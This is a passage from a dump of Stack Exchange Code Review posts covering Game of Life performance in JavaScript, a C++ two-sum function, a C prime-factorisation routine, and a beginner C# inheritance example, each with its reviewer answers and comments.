https://learning.oreilly.com/library/view/business-valuation-for/9780470344019/
https://learning.oreilly.com/library/view/the-business-of/9780470444481/
</code></pre>
<p>The output is:</p>
<pre class="lang-none prettyprint-override"><code>A Reviewer's Handbook to Business Valuation: Practical Guidance to the Use and Abuse of a Business Appraisal [Book]
Accounting All-in-One For Dummies, with Online Practice, 2nd Edition [Book]
Business Valuation For Dummies [Book]
The Business of Value Investing: Six Essential Elements to Buying Companies Like Warren Buffett [Book]
</code></pre>
<p>Is <code>grequests</code> the best option or should I use something else?</p>
<p>Please give some suggestion on how I can make this code better.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T23:12:26.963",
"Id": "489352",
"Score": "3",
"body": "The second paragraph of the [grequests README](https://github.com/spyoungtech/grequests) advises you select a different tool. That's usually a pretty strong indicator."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T10:04:21.130",
"Id": "249567",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"url"
],
"Title": "Asynchronously extract title from URLs using Python"
}
|
249567
|
<p>I've created a Game of Life implementation in JavaScript with the goal of having it be as fast as possible, with the rendering I'm satisfied (see picture bellow), however the next state calculation is really slow and I'm out of ideas how to speed it up even more.</p>
<h1>Current state of the implementation</h1>
<h2>Rendering</h2>
<p><strong>Screenshot of the game</strong>
<a href="https://i.stack.imgur.com/lvg7e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lvg7e.png" alt="Screenshot of the game" /></a>
<em>I can get 700FPS+ when rendering a total population of 6,986,628</em>
<br>
I achieved this by using <a href="http://regl.party/" rel="nofollow noreferrer">regl</a> for rendering and moving the calculation of the visible cells to a separate thread (spawned a web worker dedicated for this). I think this doesn't need any optimization, maybe the way I calculate the visible cells.<br><br>
<strong>The way I calculate visible cells</strong></p>
<pre class="lang-javascript prettyprint-override"><code>onmessage = function (e) {
var visibleCells = [];
for (const x of e.data.grid.keys()) {
if (x < -(e.data.offsets.X+1)) continue; //Continue until reaches the visible part
if (x > -e.data.offsets.X+e.data.width) break; //Stop after leaving visible part
for (const y of e.data.grid.get(x).keys()) {
if (y < e.data.offsets.Y-1) continue;
if (y > e.data.offsets.Y+e.data.height) break;
visibleCells.push([x, y]);
}
}
this.postMessage({result: visibleCells})
}
</code></pre>
<h2>Representing the "universe"</h2>
<p>I had some ideas on how to represent the Life universe but I stick with the last option as it turned out to be the best performing. (Note that this implementation does not restrict the space so it is an infinite grid)</p>
<h3>1.1 Using 2D array as cellState = grid[x][y];</h3>
<p>Since we are dealing with an infinite grid this can't be used</p>
<h3>1.2 Using 2D array as grid[[x,y],[x1,y2],...]</h3>
<p>Storing only the living cell's coordinate. This has the problem of possible duplicates. Also I ran some tests on jsbench.me and turned out that this is slower than the 2nd way (the next one).</p>
<h3>2. Using an object</h3>
<p>Setting an object's properties to create the illusion of a 2D array. This somewhat worked, but had the problem of the overhead created by converting int to string and via versa, because object indexing uses strings as keys</p>
<pre class="lang-js prettyprint-override"><code>//Defining grid
var grid = {};
//Creating a cell at (x;y)
if (grid[x] == undefined) grid[x] = {};
grid[x][y] = null;
//Killing a cell at (x;y)
delete grid[x][y];
if (Object.keys(grid[x]).length == 0) delete grid[x];
</code></pre>
<h3>3. Using Maps and Sets (current)</h3>
<p>This way I can use integers as indexes and don't have to deal with the possibility of a duplicate cell</p>
<pre class="lang-js prettyprint-override"><code>//Defining grid
var grid = new Map();
//Creating a cell at (x;y)
if (!grid.has(x)) grid.set(x, new Set());
grid.get(x).add(y);
//Killing a cell at (x;y)
grid.get(x).delete(y);
if (grid.get(x).size == 0) grid.delete(x);
</code></pre>
<h1>The next state calculation</h1>
<p>This is why I'm writing this question. I don't know how to further improve performance here.<br>
<strong>The code for calculating the next state</strong></p>
<pre class="lang-js prettyprint-override"><code>onmessage = function (e) {
var newGrid = new Map();
var sketch = new Map();
var start = performance.now();
for (var x of e.data.grid.keys()) {
var col1 = x - 1, col3 = x + 1;
if (!sketch.has(col1)) sketch.set(col1, new Set());
if (!sketch.has(x)) sketch.set(x, new Set());
if (!sketch.has(col3)) sketch.set(col3, new Set());
for (var y of e.data.grid.get(x).keys()) {
var row1 = y - 1, row3 = y + 1;
sketch.get(col1).add(row1);
sketch.get(col1).add(y);
sketch.get(col1).add(row3);
sketch.get(x).add(row1);
sketch.get(x).add(row3);
sketch.get(col3).add(row1);
sketch.get(col3).add(y);
sketch.get(col3).add(row3);
}
}
for (var x of sketch.keys()) {
for (var y of sketch.get(x).keys()) {
//Count neighbours
var c = 0;
var col1 = x - 1, col3 = x + 1;
var row1 = y - 1, row3 = y + 1;
if (e.data.grid.has(col1)) {
//1st col
var col = e.data.grid.get(col1);
c += col.has(row1)
c += col.has(y)
c += col.has(row3)
}
if (e.data.grid.has(x)) {
//2nd col
var col = e.data.grid.get(x);
c += col.has(row1)
c += col.has(row3)
}
if (e.data.grid.has(col3)) {
//3rd col
var col = e.data.grid.get(col3);
c += col.has(row1)
c += col.has(y)
c += col.has(row3)
}
if (c == 3) { //If a cell has 3 neighbours it will live
if (!newGrid.has(x)) newGrid.set(x, new Set());
newGrid.get(x).add(y);
continue;
}
//but if it has 2 neigbours it can only survive not born, so check if cell was alive
if (c == 2 && (e.data.grid.has(x) && e.data.grid.get(x).has(y))) {
if (!newGrid.has(x)) newGrid.set(x, new Set());
newGrid.get(x).add(y);
}
}
}
postMessage({ result: newGrid, timeDelta: performance.now() - start });
}
</code></pre>
<p>When the worker recives the initial grid it creates two new grids: <code>sketch</code> this grid will contain potentional new cells <em>(as of writing this I just noticed that I don't add (x;y) to this grid just the neighbouring ones and it still works<del>, I will look into this deeper after I finish writing</del>)</em><sup>1</sup>, and <code>newGrid</code> which will contain the final result. This way I only loop throug the cells that maybe change state.
<br><br>
<sup>1</sup>Turns out it was a lucky error after many refactoring, it works because it's neighbours going to add it to the list but if it has no neighbours it will die</p>
<h2>Current performance</h2>
<pre class="lang-none prettyprint-override"><code>+------------------------+-----------+--------+------+
| Population | 6,986,628 | 64,691 | 3 |
+------------------------+-----------+--------+------+
| Iteration time (ms/i) | 23925 | 212 | 0.16 |
+------------------------+-----------+--------+------+
| FPS (all cell visible) | 900+ | 70 | 60 |
+------------------------+-----------+--------+------+
</code></pre>
<p><em>Before you ask I don't know why the fps greater if more cells are rendered, but if you know please write it down in a comment</em></p>
<h2>Attempts to optimize</h2>
<h3>Split work to CPUcores-2 workers</h3>
<p>This was unusable, one iteration took minutes to compute on a ~700K population. I think because the object is copied to each worker so the overhead was much larger than using only one worker.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:22:56.983",
"Id": "490011",
"Score": "0",
"body": "Do you know how often the `onmessage` function is getting executed? Do you have control over that frequency?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T14:23:53.723",
"Id": "490028",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ The user can select the target speed (gen/sec, you can see it on the screenshot)."
}
] |
[
{
"body": "<h2>Loop Performance</h2>\n<p>Using <code>for...of</code> loops make for great readability, but can be costly when it comes to performance because they use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators\" rel=\"nofollow noreferrer\">interators</a> internally<sup><a href=\"https://hacks.mozilla.org/2015/04/es6-in-depth-iterators-and-the-for-of-loop/\" rel=\"nofollow noreferrer\">1</a></sup>. As <a href=\"https://www.incredible-web.com/blog/performance-of-for-loops-with-javascript/\" rel=\"nofollow noreferrer\">this post explains</a> Reversed <code>for</code> loops can provide best performance. <a href=\"https://levelup.gitconnected.com/which-is-faster-for-for-of-foreach-loops-in-javascript-18dbd9ffbca9?gi=14cfc00ce13f\" rel=\"nofollow noreferrer\">This more recent article</a> also compares <code>for</code> loops with <code>for...in</code> and the functional programming style <code>forEach</code> loops.</p>\n<h2>ES6 keywords</h2>\n<p>When writing modern JavaScript there is little use for <code>var</code>. Best practices today call for defaulting to <code>const</code> - even for arrays where items are only pushed in via the push method- and if and only if re-assignment is deemed necessary then use <code>let</code> - e.g. in those <code>for</code> loops.</p>\n<h2>Equality comparisons</h2>\n<p>A good habit and recommendation of many style guides is to use strict equality operators (i.e. <code>===</code>, <code>!==</code>). The problem with loose comparisons is that it has <a href=\"https://stackoverflow.com/q/359494\">so many weird rules</a> one would need to memorize in order to be confident in its proper usage.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:03:37.683",
"Id": "489331",
"Score": "0",
"body": "Never thought about the performance difference of different loop types. After I refactor the code I will make an edit with the performance difference."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:15:52.410",
"Id": "489333",
"Score": "1",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see [What should I do when someone answers my question?](https://codereview.stackexchange.com/help/someone-answers) as well as [_what you may and may not do after receiving answers_](http://meta.codereview.stackexchange.com/a/1765)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:21:29.403",
"Id": "489334",
"Score": "0",
"body": "I meant to add the performance results to the \"Attempts to optimize\" section"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:30:26.703",
"Id": "489336",
"Score": "0",
"body": "Okay I just read through the two post, but now I'm unsure to append the new performance results or not. I tought it would be helpful for others to see how much difference can it make."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T19:28:36.513",
"Id": "489345",
"Score": "0",
"body": "The `for` loop optimization article linked is from 2016 and almost certainly outdated, according to many posts I've read basically everywhere. I know, citation needed. But modern benchmarks would instill confidence in this microoptimization."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T21:53:27.973",
"Id": "489348",
"Score": "1",
"body": "@GirkovArpa Good call- I added a reference to an article posted within the last three months"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T11:18:28.217",
"Id": "489384",
"Score": "0",
"body": "Yesterday I refactored the code to use reversed for loops but I kept the current universe representation as Map and Sets so in order to get the keys i used the spread operator which made things worse so after that I tried using arrays in the form of `[[x,y,y1,..]]` but it was a dead end. Today I'll try reversed for loops with the universe represented as an object (like the 2nd way in the question)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T14:43:53.310",
"Id": "489386",
"Score": "0",
"body": "In my case the reversed for loop and for in loop made the performance worse and both broke the rendering, the FPS dropped to avg 2. Now I'm trying out the .forEach but when the worker post the message the result becomes an empty map. (in the worker at the moment of posting the results are correct)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T15:12:26.980",
"Id": "489387",
"Score": "0",
"body": "Looks like I can't get better performance by changing the loop type or at least not with the universe representations that I use."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-02T20:38:01.940",
"Id": "490672",
"Score": "0",
"body": "Is the full code somewhere I could try modifying it to see if there are other changes that would help? I'm thinking the use of Maps and sets might be a major bottleneck..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-03T11:22:06.667",
"Id": "490715",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ I'm using a private GitLab instance but the webpage available at https://games.thekingsteam.tk/game-of-life/"
}
],
"meta_data": {
"CommentCount": "11",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T15:48:33.097",
"Id": "249573",
"ParentId": "249571",
"Score": "4"
}
},
{
"body": "<p>You can greatly speed up this task if have the GPU process it instead of the CPU, since it's the type of task that's capable of being broken up into lots of little, independent chunks.</p>\n<p>I didn't want to figure out how to work with the extremely low-level WebGL libraries (for browsers), so I'm just using the <a href=\"https://gpu.rocks/#/\" rel=\"nofollow noreferrer\">gpu.js</a> npm package to help out (works in browsers and node). The following function will take a matrix as an input, compute the matrix for the next generation, and return the computed matrix. The actual contents of the createKernal function is not executed directly, instead, it's source code is read by gpu.js and translated into GPU instructions (therefore, only a subset of javascript syntax is allowed inside of it).</p>\n<pre><code>const { GPU } = require('gpu.js');\nconst REGION_SIZE = 16;\n\nconst nextGeneration = new GPU().createKernel(function(matrix) {\n const x = this.thread.x;\n const y = this.thread.y;\n\n const previousValue = matrix[y][x];\n const neighboorCount = (\n matrix[y-1][x-1] + matrix[y-1][x ] + matrix[y-1][x+1] +\n matrix[y ][x-1] + matrix[y ][x+1] +\n matrix[y+1][x-1] + matrix[y+1][x ] + matrix[y+1][x+1]\n );\n\n if (previousValue === 1) {\n return neighboorCount === 2 || neighboorCount === 3 ? 1 : 0;\n } else {\n return neighboorCount === 3 ? 1 : 0;\n }\n}).setOutput([REGION_SIZE, REGION_SIZE]);\n</code></pre>\n<p>Example usage:</p>\n<pre><code>const GENERATIONS = 5;\n\nconst createBlankMatrix = size => [...Array(size)].map(() => Array(size).fill(0));\n\nfunction createPopulatedMatrix({ size, startingValues }) {\n const matrix = createBlankMatrix(size);\n for (const [x, y] of startingValues) {\n matrix[y][x] = 1;\n }\n return matrix;\n}\n\nconst startingMatrix = createPopulatedMatrix({\n size: REGION_SIZE,\n startingValues: [\n [4, 4], [4, 5], [4, 6],\n [5, 5], [5, 7], [6, 7],\n ],\n});\n\nlet matrix = startingMatrix;\nfor (let i = 0; i < GENERATIONS; ++i) {\n matrix = nextGeneration(matrix);\n}\nconsole.table(matrix);\n</code></pre>\n<p>The following stats compare running the GPU-powered version against the original version. I gave both the same 469,607 random starting values and let them run for 10 generations. I used a grid-size of 2000 for the GPU-powered function.</p>\n<pre><code>Original version: 4.858 seconds\nGPU version: 1.918 seconds\n</code></pre>\n<p>I didn't spend too long trying to optimize the performance of the function, so I'm sure there's room for improvement there. Another obvious drawback is that the GPU-powered function is using a fixed-sized matrix. You mentioned you wanted to allow this simulation to run over an arbitrarily large surface. This is still possible, but it required breaking up the populated surface into multiple, slightly overlapping regions, feeding the regions into the nextGeneration() function, and copying data from regions to each other to keep their overlapping borders in sync.</p>\n<p>Hopefully, this gives you an idea of how you can continue speeding it up if you're willing to put in that kind of effort.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-23T17:58:19.643",
"Id": "503291",
"Score": "0",
"body": "I'll look into this, currently I have issues with docker (this is the reason why the page is down) and I don't have much time now, but I'll try my best to share my findings asap."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-23T16:56:32.773",
"Id": "255145",
"ParentId": "249571",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T15:14:40.940",
"Id": "249571",
"Score": "6",
"Tags": [
"javascript",
"performance",
"ecmascript-6",
"game-of-life"
],
"Title": "Game of Life state calculation in javascript"
}
|
249571
|
<p>I have this program finding 2 numbers in the array (unsorted) so that its sum equal to the target sum. Here is my program:</p>
<pre><code>vector<int> findNumbers(vector<int>& nums, int target)
{
vector<int> result;
for(int i = 0; i < nums.size() - 1; i++)
for(int j = i + 1; j < nums.size(); j++)
if(nums[i] + nums[j] == target)
{
result.push_back(i);
result.push_back(j);
return result;
}
return result;
}
</code></pre>
<p>But in the last line, the return result doesn't seem to do anything, because when the numbers are found it is already return before it, but if I remove it, it will cause error. Does the last line slow my program down?</p>
|
[] |
[
{
"body": "<h1>Question</h1>\n<blockquote>\n<p>Does the last line slow my program down?</p>\n</blockquote>\n<p>This depends on what you intend to return when there are no pairs that sum to <code>target</code>. If you leave the last line out, your program would invoke undefined behavior when control flow reaches the end of the function body, and the compiler will rightfully warn you about that.</p>\n<h1>Integer overflow</h1>\n<p>There is an edge case that your code fails to handle — integer overflow. When the sum of <code>nums[i]</code> and <code>nums[j]</code> exceeds the range of <code>int</code>, undefined behavior is invoked.</p>\n<h1>Immediate improvements</h1>\n<p>Here are some improvements to your code:</p>\n<ul>\n<li><p><code>nums</code> should taken by <code>const</code> reference, since it is not modified inside the function.</p>\n</li>\n<li><p>A <code>vector</code> should be indexed with a <code>std::size_t</code> (or its <code>size_type</code> member type), because <code>nums.size()</code> might exceed the range of <code>int</code>.</p>\n</li>\n<li><p>When <code>nums</code> is empty, <code>nums.size() - 1</code> will produce <code>SIZE_MAX</code>, which is typically <span class=\"math-container\">\\$2^{32} - 1\\$</span> or <span class=\"math-container\">\\$2^{64} - 1\\$</span>. This didn't cause a bug in this particular case, but it is definitely a logical mistake that should be fixed by, e.g., special-casing <code>nums.size() < 2</code>.</p>\n</li>\n<li><p>You don't need to construct an empty <code>result</code> at the beginning — construct it on the fly by using <code>return {nums[i], nums[j]}</code> for example.</p>\n</li>\n</ul>\n<p>Here's the result: (overflow check is omitted for simplicity)</p>\n<pre><code>#include <cstddef>\n#include <vector>\n\nstd::vector<std::size_t>\nfind_numbers(const std::vector<int>& nums, int target) {\n if (nums.size() < 2) {\n return {};\n }\n\n for (std::size_t i = 0; i < nums.size() - 1; ++i) {\n for (std::size_t j = i + 1; j < nums.size(); ++j) {\n if (nums[i] + nums[j] == target) {\n return {i, j};\n }\n }\n }\n\n return {};\n}\n</code></pre>\n<h1>Generalization</h1>\n<p>The function can be made more flexible by taking an iterator pair and a functor:</p>\n<pre><code>#include <iterator>\n#include <utility>\n\n// returns a pair of iterators [it_a, it_b]\n// such that it_a <= it_b && pred(*it_a, *it_b)\n// or [last, last] if such a pair is not found\ntemplate <typename ForwardIterator, typename BinaryPredicate>\nauto find_pair(\n ForwardIterator first,\n ForwardIterator last,\n BinaryPredicate pred\n) -> std::pair<ForwardIterator, ForwardIterator> {\n if (first == last) {\n return {last, last};\n }\n\n for (auto next = std::next(first); next != last; ++first, ++next) {\n for (auto it = next; it != last; ++it) {\n if (pred(*first, *it)) {\n return {first, it};\n }\n }\n }\n\n return {last, last};\n}\n</code></pre>\n<h1>Optimization</h1>\n<p>The original algorithm runs in <span class=\"math-container\">\\$O(n^2)\\$</span> time, which can be improved to <span class=\"math-container\">\\$O(n \\log n)\\$</span> for large inputs:</p>\n<ul>\n<li><p>First, maintain a vector of indexes sorted by the numbers.</p>\n</li>\n<li><p>For each number, binary search for <code>target - number</code>.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T04:52:41.317",
"Id": "489356",
"Score": "0",
"body": "I don't know the function can use return{} instead of returning a vector, so from now on I should use return {} for every functions?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T04:53:28.073",
"Id": "489357",
"Score": "0",
"body": "@user230763 `return {};` is basically a shorthand for `return std::vector{};` in this case. Of course you shouldn't use it for every function - use it if you want to return a default-constructed value."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T05:27:01.807",
"Id": "489359",
"Score": "0",
"body": "Thank you for your help."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T04:17:45.000",
"Id": "249585",
"ParentId": "249574",
"Score": "6"
}
},
{
"body": "<p>Great answer by L. F.. With regards to optimization it can even be done in <em>O(n)</em> either by using a hash (assuming there aren't too many hash collisions):</p>\n<pre><code>std::vector<size_t>\nfindNumbers(\n std::vector<int> const & nums,\n int const target )\n{\n // pack numbers and indices into hash\n std::unordered_map<int,size_t> hash;\n hash.reserve( nums.size() );\n for( size_t i=0; i<nums.size(); ++i ) {\n hash.emplace( nums[i], i );\n }\n\n // for every number search for "target - number"\n for( size_t i=0; i<nums.size(); ++i )\n {\n auto const el = hash.find( target - nums[i] );\n if ( (el != hash.end())\n && (i != el->second) )\n {\n return { i, el->second };\n }\n }\n \n return {};\n}\n</code></pre>\n<p>Or by using one of the non-comparison sorts.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T07:35:55.683",
"Id": "489422",
"Score": "2",
"body": "If i give you array {2,3,4} and target sum 4, your implementation returns {0,0}, which is incorrect. The second loop should only return if `i != el->second` unless you can find the same element in nums again before el->second. Which means that you would be back to O(n^2) again unless you change the hash to something that can keep track of up to 2 indices per element."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T09:33:54.693",
"Id": "489424",
"Score": "1",
"body": "Actually just skipping if `i==el->second` is enough to fix your implementation. I didnt realize the implications at first..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T19:06:30.413",
"Id": "489603",
"Score": "0",
"body": "Oh my. You're right. I've updated the answer. Thank you!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T20:20:09.440",
"Id": "489605",
"Score": "0",
"body": "@slepic Or they could just build the hash during the search, inserting the current value only after checking for its partner."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T19:48:04.950",
"Id": "249598",
"ParentId": "249574",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249585",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T17:08:30.290",
"Id": "249574",
"Score": "3",
"Tags": [
"c++",
"algorithm"
],
"Title": "Finding sum in an array"
}
|
249574
|
<p>My solution runs properly and I have tested it against various test cases. Is this the best approach?</p>
<pre><code>#include<stdio.h>
#include<math.h>
int primefactors(int);
int main()
{
int num;
printf("Enter a no:-\n");
scanf("%d",&num);
printf("%d",primefactors(num));
return 0;
}
int primefactors(int n){
for(int i=2; i<=sqrt(n);i++){
while(n%i==0){
printf("%d ", i);
return primefactors(n/i);
}
}
if(n>2)
return(n);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T10:48:26.233",
"Id": "489381",
"Score": "5",
"body": "Welcome to CodeReview@SE. `runs properly and I have tested it against various test cases` (there indentation at the end of `primefactors()` is inconsistent) please add the required behaviour to the question - `primefactors()`' return value looks *undefined* for many values of `n`. What is the required output for, say, 126? Consider adding the test code to the question, making it unmistakable when wanting it excluded from review."
}
] |
[
{
"body": "<p>I'm going to address the coding, asking if an algorithm is a best approach is somewhat opinion based and to be avoided.</p>\n<p>Avoid using abbreviations such as <code>no.</code> in prompts, it is better to use real words.</p>\n<p>Iterative approaches may be better than recursive approaches because they use less resources (less memory for instance on the stack).</p>\n<p>There is no reason to have a function prototype for the function <code>primefactors</code> if you swap the order of the functions <code>primefactors()</code> and <code>main()</code>. In C it is very common for the last function in a file to be <code>main()</code>.</p>\n<p>The indentation of the last <code>}</code> is problematic and should be corrected.</p>\n<p>Leave horizontal space between operators such as <code>,</code> and <code>&</code> in all statements. that makes the code much more readable and easier to maintain. Examples:</p>\n<pre><code> scanf("%d", &num);\n printf("%d", primefactors(num));\n</code></pre>\n<p>and</p>\n<pre><code> for(int i=2; i <= sqrt(n); i++){\n while(n % i == 0){\n printf("%d ", i);\n return primefactors(n / i);\n }\n }\n if(n > 2)\n return(n);\n</code></pre>\n<p>Leave vertical spacing between functions and sometimes separating logical blocks of code.</p>\n<pre><code>#include<stdio.h>\n#include<math.h>\n\nint primefactors(int n){\n for(int i = 2; i <= sqrt(n); i++){\n while(n % i == 0){\n printf("%d ", i);\n return primefactors(n / i);\n }\n }\n if(n > 2)\n return(n);\n}\n\nint main()\n{\n int num;\n printf("Enter a no:-\\n");\n scanf("%d", &num);\n printf("%d", primefactors(num));\n return 0;\n}\n</code></pre>\n<h2>Update with testing:</h2>\n<p>I have altered the code in the following way to get the prime factors for 2 through 100, the code fails on any power of 2, returning an unknown value for the final power of 2. It works properly in all other cases. This is approximately a 7% failure rate, an edge case fails.</p>\n<pre><code>#include<stdio.h>\n#include<math.h>\n\nint primefactors(int n) {\n for (int i = 2; i <= sqrt(n); i++) {\n while (n % i == 0) {\n printf(" %d ", i);\n return primefactors(n / i);\n }\n }\n if (n > 2)\n return(n);\n}\n\nint main()\n{\n for (int i = 2; i <= 100; i++)\n {\n printf("primefactors(%d) = ", i);\n printf("%d ", primefactors(i));\n printf("\\n");\n }\n return 0;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T15:17:15.617",
"Id": "489388",
"Score": "0",
"body": "With regard to iterative vs recursive, does C have a 'stack limit' where an artificial limitation is implemented. For example the stack in Python can't have a depth of more than 1000. (this can be adjusted but is ill advised)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T15:23:57.297",
"Id": "489389",
"Score": "0",
"body": "@Peilonrayz Not that I know of, but that could depend on the implementation in the C library or the hardware."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T13:34:05.463",
"Id": "490022",
"Score": "2",
"body": "@Peilonrayz Both Windows and Linux impose a stack size limit. You can configure the stack size in MSVC during compilation. On linux, calling `getrlimit` with `RLIMIT_STACK` will give you the current setting, which you can configure just like any other resource limit. I am not familiar with other systems well enough to comment on them."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T13:43:06.880",
"Id": "490023",
"Score": "0",
"body": "@JoseFernandoLopezFernandez Thank you for the answer. I'm on Linux at the moment and noticed Python has a `getrlimit` bind and `RLIMIT_STACK` flag which, obviously, work. Cool, thanks for the info!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T17:04:58.113",
"Id": "490040",
"Score": "0",
"body": "@Peilonrayz You're welcome, glad to help"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T01:09:18.740",
"Id": "249583",
"ParentId": "249579",
"Score": "2"
}
},
{
"body": "<p>Does your compiler not complain? If not, might want to turn warnings on. I just tried at repl.it and it rightly warns about <code>control may reach end of non-void function</code>. It still ran, but when I entered <code>2</code>, I got the output <code>32690</code>. And for <code>8</code>, I got <code>2 2 0</code>. So no, it doesn't run properly.</p>\n<p>An unconditional <code>return</code> in a <code>while</code> loop doesn't make sense. I guess you meant <code>if</code>?</p>\n<p>Let's say you found a large prime factor. The recursive call restarts the search at 2. Not efficient. You already know that none of the primes smaller than that large one divide the remaining <code>n</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T03:41:01.073",
"Id": "249584",
"ParentId": "249579",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T19:52:09.927",
"Id": "249579",
"Score": "-4",
"Tags": [
"c",
"recursion"
],
"Title": "Get the prime factors of a number"
}
|
249579
|
<p>I'm quite new to object-oriented C#. I wanted to test my knowledge by creating a <code>Dog</code>/<code>Animal</code> classes. I also tried to implement an <code>IDangerous</code> interface in my code.</p>
<p>Is there anything I could've done better/differently? Again, this is my first time on this Stack Exchange so if I could've restructured this post differently please tell me.</p>
<pre><code>public class Animal
{
public int Age { get; }
public string Color { get; }
}
public class Dog : Animal
{
public bool IsVaccinated { get; set; }
public string Name { get; set; }
}
public interface IDangerous
{
void TightenLeash(string Reason, int LeashTightness);
}
public class GoldenRetriever : Dog { }
public class Beagle : Dog { }
public class PitBull : Dog, IDangerous
{
public void TightenLeash(string Reason, int LeashTightness)
{
Console.WriteLine("Leash tightened...");
}
}
static class Program
{
static void Main(string[] args)
{
Dog obj1 = new GoldenRetriever();
obj1.Name = "Fluffy";
obj1.IsVaccinated = true;
Console.WriteLine(obj1.Name + obj1.IsVaccinated + obj1.Color);
List<Dog> DogList = new List<Dog>()
{
new Beagle()
{
IsVaccinated = false,
Name = "Korg"
},
new GoldenRetriever()
{
IsVaccinated = true,
Name = "Juan"
},
new Beagle()
{
IsVaccinated = false,
Name = "Toby"
},
};
List<IDangerous> AngryPitBulls = new List<IDangerous>()
{
new PitBull()
{
IsVaccinated = false,
Name = "Angry"
},
new PitBull()
{
IsVaccinated = false,
Name = "Ryder"
}
};
AngryPitBulls[0].TightenLeash("For biting another dog", 3);
AngryPitBulls[1].TightenLeash("For biting the cat", 2);
Console.ReadLine();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T06:36:34.207",
"Id": "489364",
"Score": "0",
"body": "Code Review requires concrete code from a project, with enough code and / or context for reviewers to understand how that code is used. Pseudocode, stub code, hypothetical code, obfuscated code, and generic best practices are outside the scope of this site."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T06:39:59.557",
"Id": "489365",
"Score": "5",
"body": "The biggest problem with these animal examples is, that they are very far from real world problems and hardly useful to learn anything. You may understand the syntax and semantics but you get no idea about the purpose."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T10:34:00.133",
"Id": "489380",
"Score": "0",
"body": "@slepic They're famously used as programming exercises, just like FizzBuzz."
}
] |
[
{
